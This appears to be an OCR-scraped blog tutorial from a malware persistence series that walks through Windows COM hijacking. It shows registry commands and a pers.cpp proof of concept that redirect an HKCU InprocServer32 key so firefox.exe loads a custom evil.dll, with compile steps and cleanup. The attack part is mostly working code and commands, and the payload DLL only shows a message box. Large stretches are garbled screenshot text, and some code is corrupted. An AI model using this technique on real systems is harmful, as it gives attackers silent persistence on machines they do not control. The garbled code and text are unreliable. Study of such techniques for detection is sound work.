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This post is a next part of a series of articles on windows malware persistence techniques
and tricks.

Today I'll write about the result of own research into another persistence trick: COM
hijacking.

Component Object Model

In Windows 3.11, Microsoft introduced the Component Object Model (COM) is an object-
oriented system meant to create binary software components that can interact with other
objects. It’s an interface technology that allows you to reuse items without knowing how they
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were made internally.
I'll show you how red commands can use COM objects to run arbitrary code on behalf of a
trusted process in this post.

When a software needs to load a COM object, it uses the Windows API CoCreateInstance
to construct an uninitialized object instance of a specific class, with the cLSID as one of the
needed parameters (class identifier).

When a program calls CoCreateInstance with a particular CLSID value, the operating system
consults the registry to discover which binary contains the requested com code:

| e —-—
B¥ Registry Editor — a
p Fle Edt View Fovortes Help
[Computer\ HKEY_CLASSES_ROOT\CLSID\(ATDB7BSE-DOEA-AFED-93C4-3145057882 72 InProcServer32)

(AT9141CE D107-4C88-82C0-A005F5303487) A || Name Tpe Data
{AT9BO3GE- 2262-4A97-8262-12D 283446001} 28] (Default) REG 57 CAWindows\System32\TaskFlowDataEngine.dll
{AT9DE2F2-2F74-4927-8436-61129D26C141) ] ThrendingModel RE6 o2 Bt
{A1A2B1C4-0E3A-11D3-0DEE-00C04F720080} -
{A181922F- B626-4AAF-0F2B-AA6026DFE50 1}
{alb4ddSf-c1d9-4e24-9b7-cOeFTcFfdbT1}
{A1B9EO4A-3226-11D2-283E-00104B2AFRAG)
{A1BFB370-5A0F-4420-BET2-B13E2FEAEDEF}
{ATC0A0SS-DFI7-3441-BFC1-COF194E494DB}

| | {A1DBTBSE-DOEA-4FED-93C4-314505788272}

InProcServer32
{a12b36b-024a-4d43-80f6-8a820F7190f}
{A1E48442-8330-491A-BEGA-4121423606A8)
{ATET036D-T2A1-4529-B108-0C3CIE920424}
{ATEBB9DE-0AIC-4575- ADAE-654A090A454C}
{ATEBDBDO-E4BA-4DB3-8DF5-C91534061EF4]
{ATF4E726-BCF1-1101-BFS2-0060081EDB11}
{ATFCSCOF-6AG6-4858-83A5- 1F467D09595D}
{A21FC522-F671-4013-9330-0328E5C70DD0}
{2220224if-806F-468-0b62-9956603¢0c92}
{A22CAFCT-6E91-deTd-BIES-53B2667B72BA}
{A249E9F5-5B25-4ED1-BAF0-COROC 5185436
{A2552185- F310-418D-206F-5264CCA41B72}
{A256718D-BE3E-40CC-AT7F-75642516497C)
{A26CEC36-234C-4950- AET6-E34AACETIDOD}
{A2736883-D810-42ce-B114-33900258B8EC}
{A28798CC-7308-41EB-GCA2- TAFO3E27BO9E}
{A2967380- DE3A-458E-822B-0ECDO0D4BCED}
{A296D363-FER3-4af3-9BE7-726C 12961504}

. i

The contents of the InProcServer32 subkey under the CLSID key seen in the previous image
are presented in the next image:

= = T i — -
B Registry Editor - [m] X

§_File Edit View Favorites Help
Computer\HKEY_CLASSES_ROOTWCLSIDVAT DE?BSE-DOEA-4FEO-93(4-31451)5733272}\Inpmc55rver32I

il
[

{ATOTATCE D107 ACEE 62C0 A005F530387] A~ || Name Type Data
{AT9B036E-2282-4A97-82A2-12D283A45001} 2] (Default) REG_SZ C:\Windows\System32\ TaskFlowDataEngine.dl

{A19DEIF2-2F74-4927-8436-61120D26C 141}
[A1A2B1C4-0E3A-11D3-9DSE-DDCO4FT2D980}
[ATE1922F-B526-4A4F-OF2B-4A6026DFE6D1}
{a1b4dd9f-c1d9-de24-9bT-cOefTcffdb71}
{ATBOED4A-3226-11D2-883E-00104B2AFB4E}
{ATEFB370-5A0F-4429-BB72-B13E2FEAEDEF)
[ATC0AD0S-DF97-3441-BFC1-COF194E404DB}

v | | {ATDB7BSE-DOEA-4FED-93C4-314505788272}

! InProcServer32
fale2bBb-024a-4d43-80f6-8a820dfT190F

2b| ThreadingModel REG_SZ Both

In my case, firefox.exe calling CoCreateInstance with CLSID: {A1DB7B5E-DOEA-4FEQ-
93C4-314505788272}. The C:\Windows\System32\TaskFlowDataEngine.d11 file associated

with the registry key HKCU\Software\Classes\CLSID\{A1DB7B5E-DOEA-4FEQ-93C4-
314505788272} \InprocServer32
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There are a variety of ways to execute code, but COM has been employed in red teaming
circumstances for persistence, lateral movement, and defense evasion in various instances.

Various registry sub-keys are used during COM Hijacking depending on how the malicious
code is run. These are the following:

¢ InprocServer/InprocServer32
o LocalServer/LocalServer32
e TreatAs

e ProglD

The sub-keys listed above are found in the following registry hives:

e HKEY_CURRENT_USER\Software\Classes\CLSID
e HKEY_LOCAL_MACHINE\Software\Classes\CLSID

how to discover COM keys for hijacking

Identification of coM keys that could be used to commit com hijacking is simple and just
requires the use of sysinternals Process Monitor to find com servers that lack cLSIDs. It also
does not require elevated privileges (HKcu). The following filters can be set up in Process
Monitor:

&F Process Monitor - Sys[

File Edit Event Filter
s = n Q B B Display entries matching these conditions:

Architecture ~||is ~ ~|then |Indude -

Time ... Process Name

4:08:5... 'y Explorer EXE
4:08:5... 'pq Explorer EXE
4:08:5... 'pq Explorer EXE
4:08:5... ' Explorer. EXE Column Value
4:08:5... 'pq Explorer EXE .
4:09:0... & GoogleDriveF5 .« RegOpenKey
4:09:0... & GoogleDriveFs ¢ o NAME NOT FOUND
4:09:0... & GoogleDriveFS.¢ - ends with Inproc Serverd2
4:09:0... & GoogleDriveFS.< Process Name is Procmon exe
4100 & GoogleDriveFS £ 23 Process Name is Procmonf4. exe
§ 210:0.. & GoogleDriveFS. & Process Name is System
4:10:0... & GoogleDriveFS ¢ v begins with IRP_MJ
4:10:0... & GoogleDriveFS .« begirs with FASTIO_

§ 4:10:0... §firefox exe e
4:10:0... 4@ firefox.exe begins with FAST IO

4100... @ frfox.exe ; ends with pagfile sys
10:0... @ firefox exe X ends with SMt
o 4:10:0... @ firefox exe % ends with SMft Mim
4:10:0... ‘ﬁre{ox.exe X ends with SLogFile
4:10:0... ‘f!rehx.exe X ends with Volume
::gx;z % ends with SAttrDef
... A firefox.exe ends with $Foot
ends with SBitmap

Reset Add Remove

Also still good to add: Exclude if path starts with HKLM

The HKEY CURRENT USER (HKCU) key is examined first when trying to load com objects, giving
preference to user-specified COM objects rather than system-wide com objects (additional
information in HKEY CLASSES ROOT key).
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In my case, the firefox.exe process exhibits this behavior in the image below. The process
is attempting to access CLSID A6FF50C0-56C0-71CA-5732-BED303A59628 at the HKCU
registry key. Because the cLSID isn’t found in the HKCU registry key, Windows reverts to HCKR
(HKLM beneath the hood) for the identical cLs1D, which worked in the previous attempt. This
can be checked with commands:

reg query "HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-
BED303A59628}\InprocServer32" /s
reg query "HKCR\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32" /s

Following the steps outlined above, we now have critical information that we may use to
launch a COM Hijacking attack.

attack process

First off all, export the specified subkeys, entries, and values of the local computer into a file:

reg export "HKCR\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}\InprocServer32"
C:\Users\User\Desktop\shared\2022-05-02-malware-pers-3\orig.reg /reg:64 /y

The next step is modify this file to set the default value of
“HKCU\Software\Classes\CLSID{A6FF50C0-56C0-71CA-5732-
BED303A59628}\InprocServer32” registry key:

File Actions Edit View Help
kali...kuku x kali...kuku x mc [kali@k...ersec_blog X kali...kuku kali@kali: ~fprojects...-04-26-malware-pers-2 X kali@kali: ~/projq
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As you can see, we are placing custom DLL to be executed:

evil.cpp — ~Jprojectsfcybersec_blog/2022-05-02-malware-pers-3 — Atom
File Edit View Selection Find Packages Help

evil.cpp x

<windows. h>
comment (lib, "user32.1lib")

APIENTRY D11Main(HM E hModule, DWORD nReason, LPVOID lpReserved) {
(nReason) {

evitreg [+]

— INSERT —

For simplicity, as always | took all the same file from one of my previous posts.

You can compile it from source code (evil.cpp):

/*

evil.cpp

simple DLL for DLL inject to process

author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/09/20/malware-injection-2.html
*/

#include <windows.h>
#pragma comment (lib, "user32.1lib")

BOOL APIENTRY Dl1lMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!'",
WA A=
MB_OK
)
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;

r

}
return TRUE;
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Then, just run:

x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive

-'~fprnjectsfcybersec blog/2022-05-02-malware-pers-3]
evil.dll evil.cpp

-[~/projects/cybersec_blog/2022-05-02-malware-pers-3 ]

kali 93K May
kali '
kali
kali

-[~/hacking/cybersec_blog/2022-05-02-malware-pers-3]

total 108K

-rwXr-xr-x cocomelonc cocomelonc 93K May 2 17:04 evil.dll
-rWXr-X--- cocomelonc cocomelonc 482 May 2 16:39 evil.reg
-rWXr-X--- cocomelonc cocomelonc 408 May 2 16:31 orig.reg
-rwWXr-x-- - cocomelonc cocomelonc 566 May 2 15:27 evil.cpp

And import, then check registry again:

reg import C:\Users\User\Desktop\shared\2022-05-02-malware-pers-3\evil.reg /reg:64
reg query "HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-
BED303A59628}\InprocServer32" /s
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demo

Then restart firefox.exe in my case, wait some time. I've be waiting around 7 mins:

P
s\Elv| 1 4 h ’ able ind th cified r
evil.:pp—-fpraieclskvbersec_blog]ZDZZ-UE-UZ-HV
ion Find Packages Help

x

ndows . h>

comment (lib, "user32.lib") P

D11Main (H
(nReason) {

vil.dli!",

In @ Meow from evil.dll!

Showing 20,732 of 12,721,414 events
linkedin e github

File Edit

&

Event Process  stack i

Image id Access: Read
id Access: Maximum
Firefox
Q d Access: Maximum
Mazilla Corporation d Access: Maximum
Name: firefox.exe id Access: Maximum

id Access: Delete
id Access: Delete

Version:  99.0.1

Path: id Access: Delete
‘ C:\Program Files\Morzilla Firefox\firefox. exe ‘ id Access: Delete
id Access: Delete
Command Line: \d Access: Delete
‘ "C:\Program Files\Mozilla Firefox\firefox. exe™ ‘ id Access: Delete
id Access: Delete

1d Access:

PID: 9272 Architecture: 64-bit
ParentPID: 11780 Virtualized:  False
Session ID: 1 Integrity:  Medium
User: WIN-9DIGENPSBOS Jser
Auth ID: 00000000:000351ad
Started: 5/1/2022 5:42:04 PM Ended: (Running)
Modules:

Module Address Size

firefox.exe 0x7ff715810000  0x9b000

Meow from evil.dil!

wul.dll Ox7ffecfac80000 0x70a8000

nss3.dll 0x7ffd1d320000  0x222000

freebl3.dl 0x7ffd35ef0000 Dxc5000

wscapi.dil 0x7ffd3d840000  Ox4b000

mozglue. i 0x7fd40a40000  Oxb5000

osdienteerts.dl 0x7ffd40d60000  0x5d000

TaskFlowDataEn... 0x7ffd41ec0000 0x195000

VCRUNTIME140... 0x7ffd42030000  Oxc0O0

If you notice then PID is 9272. But if you open Process Hacker you can see that it's not here:
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i@ = LSS _ o .
&y

File Edit Event Filter Tools Options Help

Bl 0 aeE 4o 0 a5 ZELTE

Hacker View Tools Users Help - X+
| @ Refresh [} Options | ## Find handles or DLLs 4% System infon

CPU Usage: 29.91%  Physical memory: 5.92 GB (76.79%) Processes: 230 | &0

Firefox crashed after a some time:

Edit Event Filter Tools Optiens Help

4 ABE | vAG B #AK | Z5 00

Processes  Services Network Disk : & hitps://cocomelonc.github.io
Name PD  CPU I/Qtotal.. Pr
V¥ VirtualBox.exe 7460 0.03
cocomelonc about
~ B cmd.exe 15024
EX conhost.exe 13200
v £ Procmon.exe 12160
27 Procmonéd.exe 288 AT? 268MBfs 10 cocomelong
13 ProcessHacker.exe 15684 0.67 & cybersec enph T ey Follow
@) SynTPHelper.exe 6252
') GoogleCrashHandler.exe 8992
) GoogleCrashHandlerbd.exe 9072
&)l RAVCplfd.exe 2088 Recent posts Meow from evil.dll!
~ [ soffice.exe 10248
[ soffice.bin 10268 ] =
"a jusched.exe 10436
| £ jucheck.exe 7936 Malware development—persistence - part 2. Screensaver
[ LocalBridge.cxe 16724 1 hijack. C++ example.
v @ firefox.exe 18824 212 5895kBfs 17
& firefox.exe 17368 0.64 97.532kB/s 17
@ firefox.exe 672 4
@ firefox.exe 14920 2
@ firefox.exe 15312 036 8396kB/s 3
@ firefox.exe 16504
& firefox.exe 11432 4
@ firefox.exe 20304 4

= It
Hacker View Tools Users Help gNOT FOUND
'| %% Refresh {4 Options | &8 Find handles or DLLs 3&* System information | O X Search Processes (Ctrl+K) £ E ﬁ8¥ Egﬁng
Processes  Services Metwork Disk £NOT FOUND
£NOT FOUND
Name PID  CPU I/Ototal... Privateb.. Username Description “ | £ NOT FOUND
v @ Telegram.exe 4712 080 224,39 MB  WIN-9D96ENPEBOS\Use Telegram Desktop £ NOT FOUND
[%] crashpad_handler.exe 14236 14 ME  WIN-9DIGENPEEOS\Use ﬁg¥ Egﬂ:g
47 pdf24-Reader.exe 6064 30,19 MB  WIN-9DIGENPBBOS\Use PDF24 Reader £ NOT FOUND
¥ VirtualBox.exe T460 0.05 a1 .
~ BN cmd.exe 15024 2
BN conhost.exe 13200 r
~ £F Procmon.exe 12160
ZF ProcmonBd.exe 2288 0.46 59391 kB... a5
1% ProcessHacker.exe 15684 0.99 23
) synTPHelper.exe 6252 1
') GoogleCrashHandler.exe 8992 1
') GoogleCrashHandler64.exe 9072 1
i} RAVCpI6d.exe 2088 4
7 D soffice.exe 10248 1 E
1_ [ soffice.bin 10268 31
g
~ [ jusched.exe 10436 4 Firefox is not responding
| £ jucheck.exe 7936 4
[& LocalBridge.exe 16724 a0 If you close the pragram, you might lose information
v il firefox.exe 15288 0.74 213
@ firefox.exe 4224 210
@ firefox.exe 20108 49
@ firefox.exe 18000 130
& firefox.exe 10836 23

CPU Usage: 30.63% Physical memory: 5.74 GB (74.50%) Processes: 229

but it happened the only time.

Detail

Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:
Desired Access:

Later, the “meow-meow” messagebox window popped-up with some frequency:

Read
Maximurm
Maximum
Maximum
Maximum
Maximum
Read

Maximurm
Maximurm
Maximum
mum
te
te
te
te
te
te
e
e
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mEP ]
evil.cpp — ~Jprojects/cybersec_blog/20!
HKEY_CL,
File Edit View Selection Find Ps s He (Defau

X

<windows.h
comment (lib, "user32.

g [PV
mozglue.dl 0x7ffd40a40000
osdlientcerts.dll 0x7ffd40d60000
TaskFlowDatzEn... 0x7ffd41eco00n
VCRUNTIME140... 0x7ffd42920000

1+ | | ¥ | [Inext Highlighted

= | e
| File Edit Event Filter Optiens

2EH| ABE | TAS

Tools

Help

Hacker View Tools Users Help
@R#resh “L# Options | #8 Find handles

Processes Services Network Disk

MName
E¥ conhost.exe
v () Joplin.exe
Joplin.exe
€ Joplin.exe
€ Joplinexe a
v @) Telegram.exe ] (Default
[ :grashpadihandler‘axa " s
&7 pdf24-Reader.exe
¥ VirtualBox.exe
v [B¥ cmd.exe
B8 conhost.exe
~ 2 Procmon.exe
Z§ Procmonbd.exe
1% ProcessHacker.exe
) SynTPHelper.exe
) GoogleCrashHandler.exe
‘) GoogleCrashHandler64.exe
&) RAVCpl6d.exe
hd D soffice.exe
D soffice.bin
“Ejusched‘axa
jucheck.exe
[ LocalBridge.exe

CPU Usage: 41.51% Physical memory: 5.66 G

That’s perfectly! :)

update: programmer way

Meow from evil.dil!

Meow from evil.dll!

0K

| also created pers.cpp dirty PoC script:
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/*

pers.cpp

windows low level persistence via COM hijacking

author: @cocomelonc
https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html
*/

#include <windows.h>

#include <string.h>

#include <cstdio>

int main(int argc, char* argv[]) {
HKEY hkey = NULL;

// subkey
const char* sk = "Software\\Classes\\CLSID\\{A6FF50C0-56C0-71CA-5732-
BED303A59628}\\InprocServer32";

// malicious DLL
const char* dll1 = "C:\\Users\\User\\Desktop\\shared\\2022-05-02-malware-pers-
3\\evil.dll";

// startup
LONG res = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)sk, ©, NULL,
REG_OPTION_NON_VOLATILE, KEY_WRITE | KEY_QUERY_VALUE, NULL, &hkey, NULL);
if (res == ERROR_SUCCESS) {
// create new registry keys
RegSetValueEx(hkey, NULL, ©, REG_SZ, (unsigned char*)dll, strlen(dll));
RegCloseKey(hkey);
} else {
printf("cannot create subkey for hijacking :(\n");
return -1;

}

return 0;

compile it:

x86_64-w64-mingw32-g++ -02 pers.cpp -0 pers.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-

constants -static-libstdc++ -static-libgcc -fpermissive

gw32-g++ pers.cpp pers.exe
) - [~/hacking/cybersec_blog/2022-05-02-malware-pers-3]

-rwxr-xr-x 1 cocomelonc cocomelonc 40K May :59 pers.exe
-rw-r--r-- cocomelonc cocomelonc 803 May :59 pers.cpp
-rwxr-xr-x 1 cocomelonc cocomelonc 93K May :04 evil.dll
-rwxr-x--- 1 cocomelonc cocomelaonc 482 May 139 evil.reg
-rwxr-x--- 1 cocomelonc cocomelonc 408 May :31 orig.reg
-rwxr-x--- 1 cocomelonc cocomelonc 566 May :27 evil.cpp

==l ) - [~/hacking/cybersec_blog/2022-05-02-malware-pers-3]

and run:

.\pers.exe
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Oracle VM LibreOffice  CherryTree
VirtualBox 71

Hacker View Tools Users Help
% Refresh 3 Options | @ Find handles or DLLs 5% System i
Processes  Services Metwork Disk

Name CPU  I/Ototal ...
Vo flameshot.exe 0.04
[ crashpad_handler.exe
[ crashpad_handler.exe
] rundll32.exe

[ bittorrentie.exe
[&=) bittorrentie.exe
[ helper.exe
v X powershell.exe
B3 conhost.exe
~ EX powershell.exe
B conhost.exe
~ () Joplin.exe
&) Joplin.exe
E] Joplin.exe Meow from evil.dll!
€ Joplin.exe
% pdf24-Reader.exe
¥ VirtualBox.exe 005
~ ZJ Procmon.exe
£ZJ Procmon6d.exe 049 471.83 kE...
1% ProcessHacker.exe 1.24

~ @ Telegram.exe 1.02 &
[ crashpad_handler.exe In a
P

CPU Usage: 34.91%  Physical memory: 6.38 GB (82.86%) Processes:

0K

linkedin mail.google github translate.google

As you can see, everything is work perfectly :)

Cleaning after completion of experiments:

reg delete "HKCU\Software\Classes\CLSID\{A6FF50C0-56C0-71CA-5732-BED303A59628}" /f

conclusion

An attacker can employ a not-so-common but widely used technique to ensure silent
persistence in a system after executing this actions. In the wild, this trick was often used by
groups such as APT 28, Turla, as well as Mosquito backdoor.

COM hijacking MITRE ATT&CK
APT 28

Turla

RegCreateKeyEx
RegSetValueEx

reg query

reg_import

reg_export

reg_delete

source code in github

This is a practical case for educational purposes only.
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https://attack.mitre.org/groups/G0007/
https://attack.mitre.org/groups/G0010/
https://attack.mitre.org/software/S0256/
https://attack.mitre.org/techniques/T1546/015/
https://attack.mitre.org/groups/G0007/
https://attack.mitre.org/groups/G0010/
https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regsetvalueexa
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-query
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-export
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-delete
https://github.com/cocomelonc/meow/tree/master/2022-05-02-malware-pers-3

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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